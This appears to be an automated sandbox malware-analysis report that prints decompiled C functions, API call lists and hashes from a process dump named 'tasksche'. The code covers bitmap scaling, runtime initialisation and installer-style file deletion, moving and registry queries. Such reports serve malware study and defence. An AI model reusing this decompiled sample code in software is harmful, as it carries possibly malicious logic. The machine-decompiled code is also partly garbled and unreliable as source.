				struct HDC__* _t54;

				_t36 = GetDC(0);
				_v12 = _t36;
				_t54 = CreateCompatibleDC(_t36);
				_v8 = CreateCompatibleDC(_v12);
				GetObjectW(_a4, 0x18,  &_v44);
				asm("cdq");
				_t43 = _v36 * _a8 / _v40;
				if(_t43 < _a12) {
					_a12 = _t43;
				}
				_v16 = CreateCompatibleBitmap(_v12, _a8, _a12);
				_a4 = SelectObject(_t54, _a4);
				_v20 = SelectObject(_v8, _v16);
				StretchBlt(_v8, 0, 0, _a8, _a12, _t54, 0, 0, _v40, _v36, 0xcc0020);
				SelectObject(_t54, _a4);
				SelectObject(_v8, _v20);
				DeleteDC(_t54);
				DeleteDC(_v8);
				ReleaseDC(0, _v12);
				return _v16;
			}

0x00419d17
0x00419d24
0x00419d2c
0x00419d30
0x00419d3c
0x00419d49
0x00419d4a
0x00419d50
0x00419d52
0x00419d52
0x00419d6e
0x00419d76
0x00419d86
0x00419d9a
0x00419da4
0x00419dac
0x00419db5
0x00419dba
0x00419dc0
0x00419dcd

APIs

GetDC.USER32(00000000), ref: 00419D17
CreateCompatibleDC.GDI32(00000000), ref: 00419D27
CreateCompatibleDC.GDI32(?), ref: 00419D2E
GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
SelectObject.GDI32(00000000,?), ref: 00419D71
SelectObject.GDI32(?,00000200), ref: 00419D7C
StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
SelectObject.GDI32(00000000,?), ref: 00419DA4
SelectObject.GDI32(?,00419EBD), ref: 00419DAC
DeleteDC.GDI32(00000000), ref: 00419DB5
DeleteDC.GDI32(?), ref: 00419DBA
ReleaseDC.USER32 ref: 00419DC0

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$Delete$BitmapReleaseStretch
String ID:
API String ID: 3950507155-0
Opcode ID: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction ID: fe64683af8def945f8560e9c967618457674570685148338231d72a037962566
Opcode Fuzzy Hash: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction Fuzzy Hash: C021A076900218FFCF129FA1DC48DDEBFBAFB48350B104466F914A2120C7369A65EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E854 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E0041E854(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x42d8a0);
				E0041FA9C(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E00421465(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x42ba00;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x430880;
				E0041EFA3(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E0041E929();
				E0041EFA3(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E004221AD( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E0041FAE1(E0041E932());
			}

0x0041e854
0x0041e854
0x0041e856
0x0041e85b
0x0041e860
0x0041e866
0x0041e86e
0x0041e871
0x0041e876
0x0041e877
0x0041e87a
0x0041e87d
0x0041e887
0x0041e88c
0x0041e894
0x0041e89c
0x0041e8ac
0x0041e8ac
0x0041e8b2
0x0041e8b5
0x0041e8bc
0x0041e8c3
0x0041e8cc
0x0041e8d2
0x0041e8d9
0x0041e8df
0x0041e8e6
0x0041e8ed
0x0041e8f3
0x0041e8f6
0x0041e8f9
0x0041e8fe
0x0041e900
0x0041e905
0x0041e905
0x0041e90b
0x0041e911
0x0041e922

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0042D8A0,0000000C,0041E98F,00000000,00000000,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0041E866
__crt_waiting_on_module_handle.LIBCMT ref: 0041E871

Part of subcall function 00421465: Sleep.KERNEL32(000003E8,00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 00421471
Part of subcall function 00421465: GetModuleHandleW.KERNEL32(00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0042147A

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0041E89A
GetProcAddress.KERNEL32(0041A9BA,DecodePointer), ref: 0041E8AA
__lock.LIBCMT ref: 0041E8CC
InterlockedIncrement.KERNEL32(?), ref: 0041E8D9
__lock.LIBCMT ref: 0041E8ED
___addlocaleref.LIBCMT ref: 0041E90B

Strings

DecodePointer, xrefs: 0041E8A2
KERNEL32.DLL, xrefs: 0041E860, 0041E865, 0041E870
EncodePointer, xrefs: 0041E88E

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction ID: 28857185edf288c115030afddfc21b3ad53991f12277c54fa87cb1ac16e0dfb5
Opcode Fuzzy Hash: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction Fuzzy Hash: 82119071A40701AFD720AF36D805B9EBBE0AF44314F60456FE8A997290CB78A981CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0C2 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040F0C2(void* __edi) {
				long __ebx;
				intOrPtr _t263;
				void* _t264;
				void* _t335;
				short* _t337;
				void* _t339;

				L0:
				while(1) {
					L0:
					if( *((intOrPtr*)(_t339 + 0x10)) != 6) {
						goto L160;
					} else {
						__eax = 0;
						 *(__ebp - 0x2440) = __ax;
						__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
						__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
						_push(__ebx);
						__eflags = __eax - 0x50;
						if(__eax == 0x50) {
							_push(0x43f822);
							__eax = __ebp - 0x2440;
							_push(__ebp - 0x2440);
							__eax = E00410B9C();
							 *(__ebp - 0x18) = 2;
						} else {
							__eflags = __eax - 0x54;
							__eax = __ebp - 0x2440;
							if(__eflags == 0) {
								_push(0x43e822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 7;
							} else {
								_push(0x440822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 0x10;
							}
						}
						__eax = 0;
						 *(__ebp - 0xbc90) = __ax;
						 *(__ebp - 0x4c40) = __ax;
						__ebp - 0x19c90 = __ebp - 0x6c88;
						__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
						__eflags =  *(__ebp - 0x6c88) - 0x22;
						_pop(__ecx);
						_pop(__ecx);
						if( *(__ebp - 0x6c88) != 0x22) {
							__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
							__eflags = __al;
							if(__al != 0) {
								goto L145;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
							__eflags =  *(__ebp - 0x6c88);
							__edi = __ebp - 0x6c88;
							if( *(__ebp - 0x6c88) == 0) {
								goto L145;
							} else {
								goto L133;
							}
							do {
								L133:
								__eax = __edi->i & 0x0000ffff;
								__eflags = __ax - 0x20;
								if(__ax == 0x20) {
									L135:
									__esi = __ax & 0x0000ffff;
									__eax = 0;
									__edi->i = __ax;
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al == 0) {
										__edi->i = __si;
										goto L142;
									}
									 *(__ebp - 0x10) = __edi;
									__eflags = __si - 0x2f;
									if(__si != 0x2f) {
										do {
											__edi =  &(__edi->i);
											__edi =  &(__edi->i);
											__eflags = __edi->i - 0x20;
										} while (__edi->i == 0x20);
										_push(__edi);
										__eax = __ebp - 0x4c40;
										L140:
										E0041A7F7() =  *(__ebp - 0x10);
										__ecx = __eax;
										_pop(__ecx);
										 *( *(__ebp - 0x10)) = __si;
										goto L142;
									}
									__eax = 0x2f;
									 *(__ebp - 0x4c40) = __ax;
									__eax =  &(__edi->i);
									_push( &(__edi->i));
									__eax = __ebp - 0x4c3e;
									goto L140;
								}
								__eflags = __ax - 0x2f;
								if(__ax != 0x2f) {
									goto L142;
								}
								goto L135;
								L142:
								__edi =  &(__edi->i);
								__edi =  &(__edi->i);
								__eflags = __edi->i;
							} while (__edi->i != 0);
							__eflags =  *(__ebp - 0x10);
							if( *(__ebp - 0x10) != 0) {
								__ecx =  *(__ebp - 0x10);
								__eax = 0;
								__eflags = 0;
								 *( *(__ebp - 0x10)) = __ax;
							}
							goto L145;
						} else {
							__ebp - 0x19c8e = __ebp - 0x6c88;
							E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
							__eax = E0041CA29(__ebp - 0x6c86, 0x22);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = 0;
								 *__eax = __cx;
								__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
								_pop(__ecx);
								_pop(__ecx);
							}
							L145:
							__esi = 0;
							__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
							if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
								__ebp - 0xbc90 = __ebp - 0x11c90;
								__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
							}
							__ebp - 0xcc90 = __ebp - 0x6c88;
							__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
							__eflags =  *(__ebp - 0x2440) - __si;
							if(__eflags == 0) {
								__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
							}
							__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
							if(__eflags != 0) {
								__ebp - 0x17c90 = __ebp - 0x2440;
								E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
								__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							}
							__ebp - 0x2440 = __ebp - 0xac90;
							__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
							_pop(__ecx);
							_pop(__ecx);
							__eax = __ebp - 0x13c90;
							__eflags =  *(__ebp - 0x13c90) - __si;
							if(__eflags == 0) {
								__eax = __ebp - 0x19c90;
							}
							__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
							__eax = __ebp - 0x2440;
							__eflags = E0040A76A(__ebp - 0x2440) - __esi;
							if(__eflags == 0) {
								L155:
								__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
								goto L156;
							} else {
								__eflags = __eax;
								if(__eflags == 0) {
									L156:
									__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
									__ebp - 0xcc90 = __ebp - 0x9c90;
									__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
									_pop(__ecx);
									_pop(__ecx);
									__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
									 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
									asm("sbb eax, eax");
									__ecx = __ebp - 0x4c40;
									__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
									 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
									asm("sbb ecx, ecx");
									__edx = __ebp - 0xbc90;
									__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
									 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
									asm("sbb edx, edx");
									__esi = __ebp - 0x15c90;
									__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
									 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
									asm("sbb esi, esi");
									__edi = __ebp - 0x9c90;
									__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
									__ebp - 0x2440 = __ebp - 0xcc90;
									__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
									__eflags =  *(__ebp - 0xac90);
									if( *(__ebp - 0xac90) != 0) {
										__eax = __ebp - 0xac90;
										SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
									}
									while(1) {
										L160:
										_t263 = E0040D781(_t339 - 0x11, _t339 - 0xec90, _t337,  *((intOrPtr*)(_t339 + 0xc)), _t339 - 0x4440, _t339 + 0xf, 0x1000);
										 *((intOrPtr*)(_t339 + 0xc)) = _t263;
										if(_t263 != 0) {
											_t335 = GetFileAttributesW;
											_t322 = _t339 - 0x1bc90;
											_t337 = 0x438818;
											_t264 = _t339 - 0x4440;
											 *(_t339 - 0x10) = _t339 - 0x1bc90;
											 *((intOrPtr*)(_t339 - 0x18)) = 6;
											goto L2;
										} else {
											break;
										}
										L4:
										while(E00411E60(_t339 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t339 - 0x10) * 4))) != 0) {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) + 1;
											if( *(_t339 - 0x10) < 0xe) {
												continue;
											} else {
												goto L160;
											}
										}
										__eflags =  *(_t339 - 0x10) - 0xd;
										if( *(_t339 - 0x10) > 0xd) {
											continue;
										}
										switch( *((intOrPtr*)( *(_t339 - 0x10) * 4 +  &M0040F443))) {
											case 0:
												__eflags =  *((intOrPtr*)(_t339 + 0x10)) - 2;
												if( *((intOrPtr*)(_t339 + 0x10)) != 2) {
													goto L160;
												}
												E00419C9B(_t339 - 0x8c90, _t319);
												E0040A146(_t339 - 0x8c90, _t339 - 0x4440, _t339 - 0xfc90, _t319);
												E00409433(_t339 - 0x7c90);
												 *(_t339 - 4) =  *(_t339 - 4) & 0x00000000;
												E0040945C(_t339 - 0x7c90, _t339 - 0xfc90);
												E004067E1(_t339 - 0x5c88);
												_push(0);
												_t280 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
												__eflags = _t280;
												if(_t280 == 0) {
													L25:
													 *(_t339 - 4) =  *(_t339 - 4) | 0xffffffff;
													E00409449(_t339 - 0x7c90);
													goto L160;
												} else {
													_t337 = L"%s.%d.tmp";
													do {
														SetFileAttributesW(_t339 - 0x5c88, 0);
														__eflags =  *((char*)(_t339 - 0x4c7c));
														if(__eflags == 0) {
															L17:
															_t285 = GetFileAttributesW(_t339 - 0x5c88);
															__eflags = _t285 - 0xffffffff;
															if(_t285 == 0xffffffff) {
																goto L24;
															}
															_t289 = DeleteFileW(_t339 - 0x5c88);
															__eflags = _t289;
															if(_t289 != 0) {
																goto L24;
															} else {
																 *(_t339 - 0x10) =  *(_t339 - 0x10) & _t289;
																_push(_t289);
																goto L21;
																L21:
																E0040BC16(_t339 - 0x1040, _t319, _t337, _t339 - 0x5c88);
																_t341 = _t341 + 0x14;
																_t294 = GetFileAttributesW(_t339 - 0x1040);
																__eflags = _t294 - 0xffffffff;
																if(_t294 != 0xffffffff) {
																	_t61 = _t339 - 0x10;
																	 *_t61 =  *(_t339 - 0x10) + 1;
																	__eflags =  *_t61;
																	_push( *(_t339 - 0x10));
																	goto L21;
																} else {
																	_t297 = MoveFileW(_t339 - 0x5c88, _t339 - 0x1040);
																	__eflags = _t297;
																	if(_t297 != 0) {
																		MoveFileExW(_t339 - 0x1040, 0, 4);
																	}
																	goto L24;
																}
															}
														}
														E0040AA7D(__eflags, _t339 - 0x8c90, _t339 - 0x1040, _t319);
														E0040A116(__eflags, _t339 - 0x1040, _t319);
														_t306 = E0041A7AF(_t339 - 0x8c90);
														 *((intOrPtr*)(_t339 - 0x18)) = _t306;
														__eflags = _t306 - 4;
														if(_t306 < 4) {
															L15:
															_t308 = E0040A0A4(_t339 - 0x4440);
															__eflags = _t308;
															if(_t308 != 0) {
																goto L25;
															}
															L16:
															_t310 = E0041A7AF(_t339 - 0x5c88);
															__eflags = 0;
															 *((short*)(_t339 + _t310 * 2 - 0x5c86)) = 0;
															E0041A820(_t335, _t339 - 0x40, 0, 0x1e);
															_t341 = _t341 + 0x10;
															_push(0x14);
															_pop(_t313);
															 *((short*)(_t339 - 0x30)) = _t313;
															 *((intOrPtr*)(_t339 - 0x38)) = _t339 - 0x5c88;
															 *((intOrPtr*)(_t339 - 0x3c)) = 3;
															SHFileOperationW(_t339 - 0x40);
															goto L17;
														}
														_t318 = E0041A7AF(_t339 - 0x1040);
														__eflags =  *((intOrPtr*)(_t339 - 0x18)) - _t318;
														if( *((intOrPtr*)(_t339 - 0x18)) > _t318) {
															goto L16;
														}
														goto L15;
														L24:
														_push(0);
														_t287 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
														__eflags = _t287;
													} while (_t287 != 0);
													goto L25;
												}
											case 1:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__eflags =  *((char*)(__ebp - 0x11));
													if(__eflags == 0) {
														__edi = __ebp + 0xc;
														__edi = E0040D92D(__ebp + 0xc, __eflags);
													} else {
														__edi = __ebp - 0x4440;
													}
													__eflags =  *((char*)(__ebp - 0x12));
													if( *((char*)(__ebp - 0x12)) == 0) {
														__esi = E0041A7AF( *0x441850);
													} else {
														__esi = 0;
													}
													__eax = E0041A7AF(__edi);
													__eax = __eax + __esi;
													_push(__eax);
													_push( *0x441850);
													__eax = E0041A594(__ebx, __edi, __esi, __eflags);
													__esp = __esp + 0xc;
													__eflags =  *((char*)(__ebp - 0x12));
													 *0x441850 = __eax;
													if( *((char*)(__ebp - 0x12)) != 0) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
													__eax = E0041A7C9(__eax, __edi);
													__eflags =  *((char*)(__ebp - 0x11));
													_pop(__ecx);
													_pop(__ecx);
													if(__eflags == 0) {
														_push(__edi);
														__eax = E0041A506(__ebx, __edi, __esi, __eflags);
														_pop(__ecx);
													}
												}
												goto L160;
											case 2:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
												}
												goto L160;
											case 3:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) != 0) {
													goto L160;
												}
												__eflags =  *0x44187a;
												if( *0x44187a != 0) {
													goto L160;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x4440) - 0x22;
												__edi = __ebp - 0x4440;
												 *(__ebp - 0x18) = __edi;
												 *(__ebp - 0x1040) = __ax;
												if( *(__ebp - 0x4440) == 0x22) {
													__edi = __ebp - 0x443e;
													 *(__ebp - 0x18) = __edi;
												}
												__eax = E0041A7AF(__edi);
												__eflags = __eax - __ebx;
												if(__eax >= __ebx) {
													goto L160;
												} else {
													__eax = __edi->i & 0x0000ffff;
													__eflags = __ax - 0x2e;
													if(__ax != 0x2e) {
														L50:
														__eflags = __ax - 0x5c;
														if(__ax == 0x5c) {
															L62:
															_push(__edi);
															L63:
															__eax = __ebp - 0x1040;
															_push(__ebp - 0x1040);
															__eax = E0041A7F7();
															L64:
															_pop(__ecx);
															_pop(__ecx);
															L65:
															__eax = __ebp - 0x1040;
															__eax = E0041CA4F(__ebp - 0x1040, 0x22);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__eflags =  *((short*)(__eax + 2));
																if( *((short*)(__eax + 2)) == 0) {
																	__ecx = 0;
																	__eflags = 0;
																	 *__eax = __cx;
																}
															}
															__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
															__edi = GetDlgItem( *(__ebp + 8), 0x66);
															__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
															__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
															__eax = __ebp - 0x1040;
															__eax = E0041AA21(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
															}
															goto L160;
														}
														__eflags = __ax;
														if(__ax == 0) {
															L53:
															__eax = __ebp - 0x1c;
															__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
															__eflags = __eax;
															if(__eax == 0) {
																__ebp - 0x10 = __ebp - 0x1040;
																__eax = __ebp - 0x20;
																 *(__ebp - 0x10) = 0x1000;
																RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
																 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
																__eax = 0x7ff;
																__eflags =  *(__ebp - 0x10) - 0x7ff;
																if( *(__ebp - 0x10) < 0x7ff) {
																	__eax =  *(__ebp - 0x10);
																}
																__ecx = 0;
																__eflags = 0;
																 *((short*)(__ebp + __eax * 2 - 0x1040)) = __cx;
															}
															__eflags =  *(__ebp - 0x1040);
															if( *(__ebp - 0x1040) != 0) {
																__eax = __ebp - 0x1040;
																__eax = E0041A7AF(__ebp - 0x1040);
																__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
																if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
																	__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
																	_pop(__ecx);
																	_pop(__ecx);
																}
															}
															__edi = E0041A7AF(__edi);
															__eax = __ebp - 0x1040;
															__edi = __edi + E0041A7AF(__ebp - 0x1040);
															__eflags = __edi - 0x7ff;
															if(__edi >= 0x7ff) {
																goto L65;
															} else {
																__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
																goto L64;
															}
														}
														__eflags = __edi->i - 0x3a;
														if(__edi->i == 0x3a) {
															goto L62;
														}
														goto L53;
													}
													__eflags = __edi->i - 0x5c;
													if(__edi->i != 0x5c) {
														goto L50;
													}
													_t97 = __edi + 4; // 0x26
													__eax = _t97;
													__eflags =  *__eax;
													if( *__eax == 0) {
														goto L160;
													} else {
														_push(__eax);
														goto L63;
													}
												}
											case 4:
												__eflags =  *0x441874 - 1;
												__eflags = __eax - 0x441874;
												__edi->i = __edi->i + __ecx;
												__eflags = __edi->i & __dh;
												_push(es);
												 *__eax =  *__eax + __al;
												__eflags =  *__eax;
											case 5:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eflags = __eax;
												if(__eax == 0) {
													L82:
													 *0x441831 = 0;
													 *0x441830 = 1;
													goto L160;
												}
												__eax = __eax - 0x30;
												__eflags = __eax;
												if(__eax == 0) {
													 *0x441831 = 0;
													L81:
													 *0x441830 = 0;
													goto L160;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax == 0) {
													goto L82;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax != 0) {
													goto L160;
												}
												 *0x441831 = 1;
												goto L81;
											case 6:
												__eflags =  *(__ebp + 0x10) - 4;
												if( *(__ebp + 0x10) != 4) {
													goto L92;
												}
												__eax = __ebp - 0x4440;
												__eax = E0041AA21(__ebp - 0x4440, L"<>");
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax == 0) {
													goto L92;
												}
												_push(0);
												goto L91;
											case 7:
												__eflags =  *(__ebp + 0x10) - 1;
												if(__eflags != 0) {
													L112:
													__eflags =  *(__ebp + 0x10) - 7;
													if( *(__ebp + 0x10) == 7) {
														__eflags =  *0x441874;
														if( *0x441874 == 0) {
															 *0x441874 = 2;
														}
														 *0x441870 = 1;
													}
													goto L160;
												}
												__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
												__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
												_push(0);
												__esi = L"%s%s%d";
												while(1) {
													_push( *0x4300c8);
													__ebp - 0x8c90 = __ebp - 0x1040;
													E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
													_push(__ebp - 0x1040);
													__eax = __edi->i();
													__eflags = __eax - 0xffffffff;
													if(__eax == 0xffffffff) {
														break;
													}
													_t146 = __ebp - 0x10;
													 *_t146 =  *(__ebp - 0x10) + 1;
													__eflags =  *_t146;
													_push( *(__ebp - 0x10));
												}
												__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
												__eflags =  *(__ebp - 0x4440);
												if( *(__ebp - 0x4440) == 0) {
													goto L160;
												}
												__eflags =  *0x44184a;
												if( *0x44184a != 0) {
													goto L160;
												}
												__eax = 0;
												 *(__ebp - 0x1440) = __ax;
												__eax = __ebp - 0x4440;
												__eax = E0041CA29(__ebp - 0x4440, 0x2c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													L108:
													__eflags =  *(__ebp - 0x1440);
													if( *(__ebp - 0x1440) == 0) {
														__ebp - 0x1bc90 = __ebp - 0x4440;
														E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
														__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
													}
													__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
													__eax = 0;
													 *(__ebp - 0x3440) = __ax;
													__ebp - 0x1440 = __ebp - 0x4440;
													__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L160;
													} else {
														 *0x441849 = 1;
														 *0x44183c = 1;
														__eax = EndDialog( *(__ebp + 8), 1);
														goto L112;
													}
												}
												__ecx = 0;
												__eflags =  *(__ebp - 0x4440) - __cx;
